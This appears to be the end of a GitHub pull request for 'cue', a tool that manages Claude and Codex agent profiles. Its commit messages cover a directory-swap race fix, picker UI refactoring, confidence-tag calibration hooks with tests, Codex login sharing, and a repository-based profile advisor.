that path, so every hook firing inside the gap died with "No such file or
directory" (observed 2026-08-03: nine Stop hooks at once, mid-session).

Move the old tree aside instead: the path is unresolvable only between two
renames, and the delete runs after the new runtime is live. The `.old-*` dir is
a sibling of the swap target, so it cannot cross a filesystem boundary and sits
one level below the root runtime-gc scans. Leftovers from a swap killed between
the renames are swept best-effort on the next materialize.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* refactor(picker): pull the shared visual primitives out of card and palette

The v2 card and the stack palette had grown their own copies of the same
drawing code. Both now hang off one set of primitives in picker/ui.ts, styled
after iOS grouped-inset lists: one rounded card per idea, uppercase muted
section headers instead of heavy rules, a filled pill for the single primary
action, circular selection marks instead of ASCII brackets, page dots for
"there is more to see here".

Everything in ui.ts is pure — no I/O, no TTY — and styleText is a no-op off a
TTY, so the tests assert on plain text.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* chore: integrity-protocol wording, tag hooks, two new profiles

Collects the remaining working-tree changes from prior sessions:

- resources/personas/integrity-protocol{,-compact}.md — wording pass
- resources/hooks/{tag-audit,liedetector-tag-density}.sh — confidence-tag
  density checks
- profiles/frontend-design, profiles/reverse-skill — two new profiles
- README.md, .cue.profile (cue's own pin: core -> core+skill-writer)

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(liedetector): one ~N% raster, a drift guard, and hook test coverage (#125)

The confidence protocol stated four different rules for the ~N% calibration
on yellow/orange tags. The always-on compact persona called it optional; the
skill called a bare [INFERRED] a protocol violation. So the rule that applied
depended on which source happened to be in context.

Settle on one: required, snapped to a 5-point raster (yellow ~50-85%, orange
~20-45%). The tiers no longer overlap each other or green. 14 steps rather
than a coarser ladder, because the number exists to order claims against each
other; not finer, because self-reported confidence is miscalibrated in
absolute terms and ~67% would read as a measurement that never happened.

liedetector-tag-density.sh gains an exact check for it: a yellow/orange tag
with no ~N%, or one off the raster, is now flagged. The two heuristics around
it stay heuristics; this one is a fact, since the protocol names the legal
values.

src/lib/integrity-ladder.test.ts is a drift guard. The raster lives in two
scripts that cannot import from each other -- the hook here, and the eval
grader in the resources/skills submodule, which also ships standalone via npx
to agents with no cue tree. The guard reads both definitions and asserts they
match, plus that all four prose sources state the same rule. Verified by
injecting a one-sided change and watching it fail.

src/lib/liedetector-hooks.test.ts is the first coverage under resources/hooks:
16 tests driving both Stop hooks through synthetic transcripts. Note the two
traps it documents -- transcript records must be compact JSON, and pointing
HOME at a temp dir breaks a wrapper-script python3, which silently turns every
"expects no output" assertion into a vacuous pass.

summon.test.ts: the mcp_status test pinned browser/lightpanda + core, and
1857088 (#121) dropped the lightpanda MCP from every profile that pinned it,
so it asserted a pairing that no longer existed. It now derives a live pairing
instead of hardcoding one, and fails loudly rather than skipping if none is
satisfiable.

README/llms.txt: 86 -> 87 profiles, which 062b40a left behind.

resources/skills: fast-forward the pointer onto opencue/skills#18, which
carries the matching grader change. e9e6657 is an ancestor, so nothing is
lost; the bump also closes a pre-existing 4-commit lag.

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(codex): share AuthMux login with Cue runtimes (#141)

Cause: Cue isolates CODEX_HOME per profile while AuthMux manages ~/.codex/auth.json.

Tested: bun test src/lib/codex-auth-sync.test.ts

Tested: bunx tsc --noEmit

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>

* feat: advise launch profiles from repository context

Add bounded Claude/Codex profile analysis with repo+HEAD caching and deterministic auto-detect fallback. Surface AI advice and the current profile without automatically replacing user selection.\n\nTested: bun test src/lib/ai-profile-advisor.test.ts src/lib/auto-detect.test.ts src/commands/launch.test.ts\nTested: bun run typecheck\nTested: biome lint touched files

---------

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant